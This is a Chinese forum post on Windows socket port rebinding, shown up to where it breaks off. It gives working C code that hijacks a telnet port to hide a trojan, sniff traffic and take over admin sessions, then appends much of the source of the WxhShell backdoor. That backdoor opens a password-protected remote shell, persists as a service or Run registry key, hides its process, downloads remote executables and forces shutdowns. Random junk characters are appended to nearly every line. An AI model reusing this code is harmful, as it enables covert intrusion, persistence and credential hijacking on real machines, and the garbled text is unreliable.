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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 1;?b-FEq:  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); tJ&S&[}  
O8[dPm W  
  saddr.sin_family = AF_INET; Oa$ ew'  
IgLP=mqcWK  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); gA`/t e  
A:cc @ku  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); z }R-J/xr2  
IgptiZ7~!  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 cJ&l86/l1  
*[.+|v;A  
  这意味着什么?意味着可以进行如下的攻击: e1[kgp   
+S<2d.&~  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 lh(A=hn"n  
Ts}5Nk8%  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 1&i!92:E  
P+%O]v1 Ob  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 VE wv22'  
x1|5q/I  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  oQjh?vm  
pn{.oXomf  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 $qP9EZ]JC  
s,]6Lri`\  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 nC_<pq^tr  
 vF]?i  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ! r.X.C  
cd) <t8^KE  
  #include (xG#D;M0  
  #include FOquQr1cF  
  #include |b'tf:l  
  #include    yXg783B|v  
  DWORD WINAPI ClientThread(LPVOID lpParam);   IW$&V``v  
  int main() oT\B-lx  
  { ;}.jRmnJ  
  WORD wVersionRequested; /+JCi6{sHS  
  DWORD ret; ag:#82C  
  WSADATA wsaData; JBeC\ \QX  
  BOOL val; f$*M;|c1c/  
  SOCKADDR_IN saddr; v?K X Tc%Z  
  SOCKADDR_IN scaddr; lU:z>gC  
  int err; uQ5NN*C=  
  SOCKET s; TN7kt]a2  
  SOCKET sc; M GN*i9CE  
  int caddsize; [<1i[\^  
  HANDLE mt; '+f!(teLz  
  DWORD tid;   zp% MK+x  
  wVersionRequested = MAKEWORD( 2, 2 ); t=xO12Z  
  err = WSAStartup( wVersionRequested, &wsaData ); !`=r('l  
  if ( err != 0 ) { u vc0"g1h  
  printf("error!WSAStartup failed!\n"); C/<fR:`c  
  return -1; dm8veKW'l  
  } :*0k:h6g  
  saddr.sin_family = AF_INET; `vL R;D  
   Y 0$m~}j  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 wD22@uM#]  
` *$^rQS  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); KD-0NO=oL  
  saddr.sin_port = htons(23); l"CHI*  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) BL]!j#''KE  
  { nITr5$f  
  printf("error!socket failed!\n"); V=3NIw18  
  return -1; `z Z=#p/  
  } jM2gu~  
  val = TRUE; ]r'b(R; S  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 S4~^HvMG[Y  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) \<i#Jn+)  
  { o~mY,7@a  
  printf("error!setsockopt failed!\n"); |Ro\2uSr  
  return -1; ~ Z%>N  
  } je_77G(F  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Vxo3RwmR  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 }eEF/o  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 +&(sZFW5o  
ndF Kw  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) IBES$[  
  { ?#J~ X\5  
  ret=GetLastError(); 'ZL)-kbI  
  printf("error!bind failed!\n"); 9I]*T  
  return -1; OFQsfW3O  
  } b:Rl }"a  
  listen(s,2); %#/7Tl:  
  while(1) nzhQ\'TC  
  { s8 .oS);`  
  caddsize = sizeof(scaddr); YHvmo@  
  //接受连接请求 !6f#OAP\  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); sAnStS=>  
  if(sc!=INVALID_SOCKET) J[VQ6fD%  
  { |\~cjPX(  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); P/M*XUG.  
  if(mt==NULL) Bi?.G7>  
  { _4[kg)#+  
  printf("Thread Creat Failed!\n"); bL swq  
  break; 34s:|w6y  
  } e-UPu%'  
  } zcIZJVYA  
  CloseHandle(mt); xCoQ>.4p  
  } ]%>;R^HY  
  closesocket(s); o] )qv~o)  
  WSACleanup(); 2MtaOG2l&q  
  return 0; 5x=tOR/h  
  }   &S''fxGL  
  DWORD WINAPI ClientThread(LPVOID lpParam) Nm#KHA='Z  
  { ~y B[}BPf  
  SOCKET ss = (SOCKET)lpParam; pZjyzH{~  
  SOCKET sc; ,((5|MbM/  
  unsigned char buf[4096]; SJy:5e?zk  
  SOCKADDR_IN saddr; UL"Jwq D  
  long num; -2% [ ]  
  DWORD val; KZ/}Iy>As  
  DWORD ret; K<Iz5+oD  
  //如果是隐藏端口应用的话,可以在此处加一些判断 :rk]o*  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   q;>'jHh  
  saddr.sin_family = AF_INET; Fc 5g~T  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); uysGOyi<u  
  saddr.sin_port = htons(23); crZ\:LeJ  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _W]3_1Lu  
  { Dc #iM0  
  printf("error!socket failed!\n"); ZVK;m1?'  
  return -1; Er~5\9,/<]  
  } ;v8,r#4  
  val = 100; BuK82   
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) i>b^n+74>  
  { k"GW3E;  
  ret = GetLastError(); /F/`?=1<$  
  return -1; =_.Zv  
  } )9L1WOGi  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) H'Z[3e  
  { jr~76  
  ret = GetLastError(); !C#q  
  return -1; 8h;1(S)*Z  
  } 8M(N   
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 0~an\4nh  
  { gt}/C4|  
  printf("error!socket connect failed!\n"); N @]*E  
  closesocket(sc); lyv9eM  
  closesocket(ss); 1)%9h>F7  
  return -1; s{< rc>  
  } MEq ()}7P  
  while(1) 0D$+WX  
  { NZdQz  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 {PYN3\N,  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 64b9.5Bn  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 J^0co1Y0  
  num = recv(ss,buf,4096,0); mxP{"6  
  if(num>0) vV"TTzs!  
  send(sc,buf,num,0); 2 B5kpmH:  
  else if(num==0) @f{)]I +f  
  break; [4t_ 83  
  num = recv(sc,buf,4096,0); f[h=>O  
  if(num>0) ke)3*.Y%C  
  send(ss,buf,num,0); "o=h /q5&  
  else if(num==0) .o.@cLdU  
  break; jf.ikxm  
  } D@O '8  
  closesocket(ss); BD,~M*%z  
  closesocket(sc); {7B$%G'  
  return 0 ; !Y`nKC(=z  
  } 36&7J{MU  
@: %}clZ  
kTs)u\r.  
========================================================== :~U1JAs$  
!=k\Rr@qx  
下边附上一个代码,,WXhSHELL F;`of  
qXP)R/~OZ  
========================================================== &k : |  
Xo{Ce%L  
#include "stdafx.h" q'q'v S  
*A c~   
#include <stdio.h> CF =#?+x  
#include <string.h> *!l q1h  
#include <windows.h> r`28fC  
#include <winsock2.h> _xUiHX<  
#include <winsvc.h> >N+e c_D^  
#include <urlmon.h> Y5PIR9-  
.eq-i>  
#pragma comment (lib, "Ws2_32.lib") !=q {1\#  
#pragma comment (lib, "urlmon.lib") %o+bO}/9  
_Ndy;MQ  
#define MAX_USER   100 // 最大客户端连接数 oBKZ$&_h  
#define BUF_SOCK   200 // sock buffer 49Ht I9@  
#define KEY_BUFF   255 // 输入 buffer Q.M3rRh  
!4I?59  
#define REBOOT     0   // 重启 |K/#2y~  
#define SHUTDOWN   1   // 关机 P|_?{1eO2  
;?h#',(p  
#define DEF_PORT   5000 // 监听端口 U{eC^yjt"o  
bKG:_mWe w  
#define REG_LEN     16   // 注册表键长度 U5izOFc  
#define SVC_LEN     80   // NT服务名长度 _.Uz!2  
n1buE1r?  
// 从dll定义API R/<  /g=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); r/3 !~??x  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -aKL 78  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); C2ToT\^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >D<nfG<s Z  
 fB;'U  
// wxhshell配置信息 5 MQRb?[  
struct WSCFG { JL;H:`x  
  int ws_port;         // 监听端口 3=sA]j-+(  
  char ws_passstr[REG_LEN]; // 口令 k 2;m"F  
  int ws_autoins;       // 安装标记, 1=yes 0=no A 7DdUNR  
  char ws_regname[REG_LEN]; // 注册表键名 l_^>spF  
  char ws_svcname[REG_LEN]; // 服务名 Me5umA  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Pgye{{  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;@v7AF6Hq  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8q_3*++D  
int ws_downexe;       // 下载执行标记, 1=yes 0=no owYfrf3ZLX  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >Z<ym|(T*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |mY<TWoX  
&WvJg#f  
}; '#u2q=n4*  
bis/Nfr]  
// default Wxhshell configuration 3<fJ5-z|-  
struct WSCFG wscfg={DEF_PORT, #Yj0'bgK  
    "xuhuanlingzhe", )@SIFE  
    1, ?_n.B=H`8  
    "Wxhshell", },[S9I`p  
    "Wxhshell", uvD 6uIW<  
            "WxhShell Service", % ,~; w0  
    "Wrsky Windows CmdShell Service", G.B^C)guu  
    "Please Input Your Password: ", $. V(_  
  1, as o8  
  "http://www.wrsky.com/wxhshell.exe",  LFGu|](  
  "Wxhshell.exe" fp12-Hk ~  
    }; T']*h8  
NF&\<2kX  
// 消息定义模块 2Ni{wg"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; VFA1p)n  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0SvPyf%AC  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >2$Ehw:K^  
char *msg_ws_ext="\n\rExit."; [HQ17  
char *msg_ws_end="\n\rQuit."; 9n8;eE08  
char *msg_ws_boot="\n\rReboot..."; G/<{:R"  
char *msg_ws_poff="\n\rShutdown..."; /:awPYGH<1  
char *msg_ws_down="\n\rSave to "; #c/v2  
{fIH9+v  
char *msg_ws_err="\n\rErr!"; Im6ymaf9  
char *msg_ws_ok="\n\rOK!"; HT1bsY 0t  
U@Aq@d+n  
char ExeFile[MAX_PATH]; \hNMTj#O  
int nUser = 0; =Ee f  
HANDLE handles[MAX_USER]; u!L8Sv  
int OsIsNt; PO)5L  
b2p<!?  
SERVICE_STATUS       serviceStatus; DB?_E{y]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <JZ=K5  
L=HL1Qe$G]  
// 函数声明 C .YtjLQP$  
int Install(void); rw+0<r3|K  
int Uninstall(void); nR"k %$  
int DownloadFile(char *sURL, SOCKET wsh); /0SPRf}p  
int Boot(int flag); |U7{!yy%MF  
void HideProc(void); 3P-#NL  
int GetOsVer(void); &Lq @af#  
int Wxhshell(SOCKET wsl); O]{H2&k@  
void TalkWithClient(void *cs); X8;03EW;  
int CmdShell(SOCKET sock); BKvF,f/g  
int StartFromService(void); wJ IJPYTK  
int StartWxhshell(LPSTR lpCmdLine); ~xvQ?c ?-  
fCEd :Kr  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ZMx_J  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?{{E/J:%  
.iew5.eB+  
// 数据结构和表定义 gfr``z=>O  
SERVICE_TABLE_ENTRY DispatchTable[] = 7zQD.+&L  
{ HJg)c;u/2;  
{wscfg.ws_svcname, NTServiceMain}, g08=D$P  
{NULL, NULL} k"Sw,"e>+  
}; #"7:NR^H^  
Y71b Lg  
// 自我安装 J anLJe)  
int Install(void) cs@5K$v  
{ rt~X (S  
  char svExeFile[MAX_PATH]; pF"z)E|^  
  HKEY key; ?cg+RNI  
  strcpy(svExeFile,ExeFile); )]qFI"B7  
c1:op@t  
// 如果是win9x系统,修改注册表设为自启动 {bc<0  
if(!OsIsNt) { .v;2Q7X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?pQ, 5+8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }T(|\ X  
  RegCloseKey(key); 70KXBu<6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?0_i{BvN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tbOe,-U-@  
  RegCloseKey(key); ( !Ml2  
  return 0; P<2yCovn`  
    } xR1g  
  } 09x\i/nb  
} 5l)p5Bb48c  
else { NPS=?5p>  
(G$m}ng  
// 如果是NT以上系统,安装为系统服务 4r5,kOFWb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); typ*.j[q  
if (schSCManager!=0) %o{vD&7\  
{ < W&~tVv  
  SC_HANDLE schService = CreateService 2 ] 4R`[#  
  ( Po^2+s(fY  
  schSCManager, n\cP17dr  
  wscfg.ws_svcname, Bq:@ [pCQ  
  wscfg.ws_svcdisp, OWq~BZ{  
  SERVICE_ALL_ACCESS, 53(m9YLk  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , cUy6/x9&  
  SERVICE_AUTO_START, KrbNo$0%  
  SERVICE_ERROR_NORMAL, y?5*K  
  svExeFile, r0S7e3xb  
  NULL, =M(\R8  
  NULL, 0!(Ii@m=N  
  NULL, =20Q! wcu  
  NULL, +9h6{&yr1  
  NULL i [j`'.fj  
  ); b#XS.e/uf  
  if (schService!=0) XU SfOf(  
  { <F=j6U7   
  CloseServiceHandle(schService); b0KorUr  
  CloseServiceHandle(schSCManager); EG9S? $  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); c\;} ov+  
  strcat(svExeFile,wscfg.ws_svcname); C %EQ9Iq6r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /6S/a*`<X  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); n+!.0d}6  
  RegCloseKey(key); (.n" J2qj  
  return 0; >StvP=our  
    } wkd591d*  
  } Fg,[=CqB[  
  CloseServiceHandle(schSCManager); ;G},xDGO_m  
} p.l]% \QI  
} !J:DBtGT  
Uf\*u$78  
return 1; 0p[$8SCJ  
} "&2D6  
YDQV,`S7  
// 自我卸载  /?_{DMt  
int Uninstall(void) wT.V3G  
{  &`@Jy|N\  
  HKEY key; X2Lhb{ZHE  
}]n&"=Zk-  
if(!OsIsNt) { @pG\5Jnf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \8t g7Sdq  
  RegDeleteValue(key,wscfg.ws_regname); qC3 rHT]  
  RegCloseKey(key); O-&n5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pP".?|n  
  RegDeleteValue(key,wscfg.ws_regname); `*N0 Lbl]  
  RegCloseKey(key); Dt +"E  
  return 0; g~V{Ca;}  
  } CMF1<A4]  
} PN.=])7T  
} "3hw]`a}  
else { %@r h\Z  
@Sv  ?Ar  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :'rXu6c-  
if (schSCManager!=0) x]{h$yI  
{ ]gmf%g'C  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !'[sV^ ds  
  if (schService!=0) wCI.jGSBW  
  { i_=P!%,  
  if(DeleteService(schService)!=0) { ' bT9AV%  
  CloseServiceHandle(schService); 8KAyif@1::  
  CloseServiceHandle(schSCManager); gK%&VzG4  
  return 0; Nq9(O#}  
  } N[42al  
  CloseServiceHandle(schService); -}N{'S,Bp  
  } s*!2oj  
  CloseServiceHandle(schSCManager); jf$t  
} ".@SQgyb0  
} g`&pQ%|=  
:V_$?S  
return 1; goHr# @  
} T+~~w'v0  
0[hl&7 Ab@  
// 从指定url下载文件 S`*al<m  
int DownloadFile(char *sURL, SOCKET wsh) 'Lm.`U  
{ $9l3 DJ  
  HRESULT hr; F1,pAtA  
char seps[]= "/";  NOQgkN  
char *token; E|5gKp-wJ  
char *file; ]#*@<T*[  
char myURL[MAX_PATH]; ~ R*6w($  
char myFILE[MAX_PATH]; TY88PXW  
\Xkx`C  
strcpy(myURL,sURL); i3Ffk+ |b  
  token=strtok(myURL,seps); l"cO@.T3  
  while(token!=NULL) \dfq& oyU\  
  { V K NCK  
    file=token; U2bb|6j  
  token=strtok(NULL,seps); ,3W a~\/Q  
  } 7)a=B! 8M  
A+ f{j  
GetCurrentDirectory(MAX_PATH,myFILE); *v 8 ]99N  
strcat(myFILE, "\\"); -J[D:P.Z  
strcat(myFILE, file); a.Mp1W  
  send(wsh,myFILE,strlen(myFILE),0); ;pULJ}rDb  
send(wsh,"...",3,0); O}KT>84M  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Z4(2&t^  
  if(hr==S_OK) y k#:.5H  
return 0; r] ]Ke_s!  
else 1fC|_V(0  
return 1; ZU:gNO0  
hwXp=not(  
} R UX  
[@\f 0R  
// 系统电源模块 OsK=% aDpj  
int Boot(int flag) ]Wy V bIu  
{ NuP@eeF>,  
  HANDLE hToken; y'+^ ME$H  
  TOKEN_PRIVILEGES tkp; jf%Ydr}`  
3'']q3H  
  if(OsIsNt) { l'o}4am  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); P/ y-K0u  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^X_%e|  
    tkp.PrivilegeCount = 1; W&*{j;e9%I  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; t4JGd)r  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); pa\]@;P1  
if(flag==REBOOT) { pr m  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^L'K?o  
  return 0; - jyD!(  
} Nh+$'6yT%  
else { b ;}MA7=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) IBuuZ.=j2h  
  return 0; .*zQ\P  
} |FcG$[  
  } i/$lO de  
  else { U ^,ld`  
if(flag==REBOOT) { B"EMir'  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `n%~#TJ  
  return 0; ~M\s!!t3  
} Ti'O 2k  
else { ck@[% ?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) oOD|FrlY  
  return 0; *%fOE;-?  
} {<]abO  
} :WxMv~e{U  
KS| $_-7 u  
return 1; Y0b.utR&  
} <e=0J8V8,i  
wWm#[f],?  
// win9x进程隐藏模块 vx ,yz+yP  
void HideProc(void) |_ @iaLE  
{ gVD!.  
$Z(zO;k.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); r*3;gyG.,#  
  if ( hKernel != NULL ) bk7miRIB  
  { %v|,-B7Yx  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); F(w>lWs;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4s"HO/  
    FreeLibrary(hKernel); O-G@To3\  
  } iA< EJ  
eR}d"F4W  
return; RM`8P5i]sF  
} O/<jt'  
kO5KZ;+N-  
// 获取操作系统版本 lS,Hr3Lz  
int GetOsVer(void) c '(]n]a%  
{ j[z\p~^  
  OSVERSIONINFO winfo; <D 5QlAN  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0P)c)x5  
  GetVersionEx(&winfo); te:VYP  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) w"sRK  
  return 1; (&x[>):6?  
  else I#mT#xs6  
  return 0; 7 yi>G  
} *&U9npN  
T0SD|'  
// 客户端句柄模块 : ._O.O  
int Wxhshell(SOCKET wsl) /R,/hi Kx\  
{ x##Iv|$  
  SOCKET wsh; ce;9UBkOg2  
  struct sockaddr_in client; 7O{\^Jz1  
  DWORD myID; 8+!$k!=X  
,~3sba  
  while(nUser<MAX_USER) $b8>SSz  
{ \twlHj4  
  int nSize=sizeof(client); ^6`R:SV4Gx  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;m&f Vp  
  if(wsh==INVALID_SOCKET) return 1;  dxU[>m;  
l p? h~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); I,#U _  
if(handles[nUser]==0) \"lzmxe0p  
  closesocket(wsh); J LeV@NO  
else G%6wk=IH  
  nUser++; +FJ o!~1  
  } a;lCr|*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9!R!H&  
7i'vAOnw^  
  return 0; ^*0;Z<_  
} ^@)+P/&  
w S;(u[W  
// 关闭 socket ?,Hk]Rl3  
void CloseIt(SOCKET wsh) PC3wzJ\\S  
{ |M0TG  
closesocket(wsh); wF&\@H  
nUser--; yRy9*r=  
ExitThread(0); GRs;-Jt  
} 6?t5g4q*nn  
't>Qj7vh0  
// 客户端请求句柄 )pzXC  
void TalkWithClient(void *cs) %+'&$  
{ rKjQEO$yi  
}%:?s6Ler  
  SOCKET wsh=(SOCKET)cs; vWgh?h/ot  
  char pwd[SVC_LEN]; hR?rZUl2M  
  char cmd[KEY_BUFF]; Rc6Rk!^  
char chr[1]; tG{Vn+~/  
int i,j; 36j.is  
QzS{2Y[OQ  
  while (nUser < MAX_USER) { co*5NM^  
5 Fd]3  
if(wscfg.ws_passstr) { lF#Kg !-l  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0m@S+$v  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !X,S2-}"  
  //ZeroMemory(pwd,KEY_BUFF); .a^/r'?  
      i=0; A8A+ImwO"  
  while(i<SVC_LEN) { uIba{9tM"P  
RJ-CWt [LG  
  // 设置超时 *}0Q S@FN  
  fd_set FdRead; me9RnPe:  
  struct timeval TimeOut; a`{'u)@  
  FD_ZERO(&FdRead); ;1y\!f3#V~  
  FD_SET(wsh,&FdRead); z,NHH):~  
  TimeOut.tv_sec=8; wbpxJtJB  
  TimeOut.tv_usec=0; tC&y3!k2jR  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); wUSWB{y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); o3`Z@-.G  
q!7\`>.2:{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?/u&U\P  
  pwd=chr[0]; x r=f9?%R  
  if(chr[0]==0xd || chr[0]==0xa) { ;3-ssF}k*  
  pwd=0; TLkkB09fvk  
  break; f8n'9HOw>  
  } }^iE|YKz  
  i++; B 51LZP  
    } & v`kyc  
v(0vP}[Q7E  
  // 如果是非法用户,关闭 socket )-sEm`(`I9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vdo[qk\C  
} \k* ]w_m-  
@.gCeMlOf  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /@ OGYYH,M  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rXaL1`t*  
P_Z o}.{  
while(1) { Kzmgy14o  
X31kHK5F_  
  ZeroMemory(cmd,KEY_BUFF); "y`?KY$[N  
x0 #+yP  
      // 自动支持客户端 telnet标准   o]FQ)WRB  
  j=0; 'z\F-Ttq  
  while(j<KEY_BUFF) { fHgfI@{=j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X(1.Hjh  
  cmd[j]=chr[0]; ?^7~|?v  
  if(chr[0]==0xa || chr[0]==0xd) { D~ {)\;w^!  
  cmd[j]=0; BE U[M  
  break; 1"k +K~:  
  } 0r@rXwz  
  j++; G cbal:q  
    } Zaj<*?\  
d*G $qUiX  
  // 下载文件 *[jaI-~S  
  if(strstr(cmd,"http://")) { i0 R=P[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |[V(u  
  if(DownloadFile(cmd,wsh)) =];FojC6I  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1H ZexV  
  else j@:L MR>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4SOj>(a#  
  } >s>5k O  
  else { ZqhINM*Rm  
x 1 _(j  
    switch(cmd[0]) { z4<h)hh"k6  
  A76=^ iw  
  // 帮助 R:fu n ,  
  case '?': { )Qo6bei!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); QR#,n@fE  
    break; (kSk bwu  
  } ;Rt,"W)  
  // 安装 k4|YaGhf  
  case 'i': { m:H )b{  
    if(Install()) (2{1m#o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >!wwXhH(  
    else $L&*0$[]Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +yTL  
    break; 1-,l|K  
    } ePF9Vzq  
  // 卸载 f"-?%I*'  
  case 'r': { b1^MX).vH  
    if(Uninstall()) SQHV gj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g"!B |  
    else  t9=rr>8)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |?0C9  
    break; ;m\(fW*ii  
    } QOOBCNe  
  // 显示 wxhshell 所在路径 <;Xj4 J  
  case 'p': { rUuM__;d  
    char svExeFile[MAX_PATH]; 0lEIj/u  
    strcpy(svExeFile,"\n\r"); 3j3AI 7c  
      strcat(svExeFile,ExeFile); 9K&b1O@Aj  
        send(wsh,svExeFile,strlen(svExeFile),0); yb]a p  
    break; O[m+5+  
    } fu|I(^NV  
  // 重启 e]5QqM7  
  case 'b': { e5AiIVlv  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); I7}[%(~Sf/  
    if(Boot(REBOOT)) ]02V,'x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HH]LvK  
    else { 5-sxTp  
    closesocket(wsh); .$r(":A#)  
    ExitThread(0); S5XFYQ  
    } .z9JoQ  
    break; [[)HPHSQ  
    } |5W u0T  
  // 关机 5zU D W?  
  case 'd': { ;\H2U .  
